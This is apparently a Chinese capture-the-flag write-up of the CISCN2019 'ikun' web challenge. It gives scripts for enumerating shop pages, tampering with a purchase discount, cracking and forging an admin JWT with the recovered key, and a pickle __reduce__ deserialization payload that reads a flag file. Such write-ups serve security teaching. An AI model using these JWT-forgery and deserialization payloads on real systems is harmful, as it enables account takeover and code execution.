CISCN2019华北赛区_ikun

发布于 2021-08-06  66 次阅读


打开题目,竟然是我最爱的坤坤!!!

image-20210318190320821

根据提示,一定要买到lv6

翻了几页都没有lv6,写脚本自动化

import requests

url = "http://06d380da-b3e6-44d5-9b2a-07c1dc44bb70.node3.buuoj.cn/shop?page="
for i in range(1,20000):
url = url + str(i)
resp = requests.get(url)
if "lv6.png" in resp.text:
print(i)
break
image-20210318191530443

找到lv6在181页

image-20210318191628424
image-20210318191700361

在购买处发现,存在优惠卷,而且自己只有一千块根本买不起,想到可能是逻辑漏洞。

image-20210318191843184

这里也尝试修改price,但是一旦修改价格id就会发生变化,因此只能选择修改折扣

image-20210318192006102
image-20210318192024494

跳转的新页面,只能够admin访问尝试获取admin,之前登陆注册时发现无法直接注册为admin,尝试抓包

image-20210318192219075

这里发现存在JWT,想到JWT伪造

  1. 首先base64解码
  2. 构造新的JWT还需要知道密钥,使用jwtcrack爆破./jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6Ijc3NyJ9.Ftkg6Pg7x_Qc3CK5z6ul2u3kiPsQf_-ue9Lv47q4hA4
  3. 使用脚本生成伪造JWT
import jwt

# payload
token_dict = {
"username":"admin"
}
#headers
headers = {
"alg":"HS256",
"typ":"JWT"
}

# 调用jwt库,生成json web token
jwt_token = jwt.encode(
token_dict, # payload
"1Kun", # 进行加密签名的密钥
algorithm="HS256", # 指明签名算法方式,默认S256
headers=headers # headers
)

print(jwt_token)
image-20210318192919655
image-20210318193015958

上传新的JWT之后成功以admin登陆

image-20210318193101675

查看源码,发现提示下载备份文件(备份文件中不仅有解题的关键,还有高清无码的kunkun视频哟)

在源码中,找到该页面对应的后端文件Admin.py

image-20210318193358821

发现该页面存在pickle.loads()这个函数,会造成Python反序列化命令执行

因此构造恶意的__reduce__魔术方法,然后按照给的格式化payload

import pickle
import urllib

class test(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))

c=pickle.dumps(test())
d=urllib.quote(c)
print d
image-20210318193953582
image-20210318194219232

抓包给become传参,命令执行读取flag

image-20210318194306911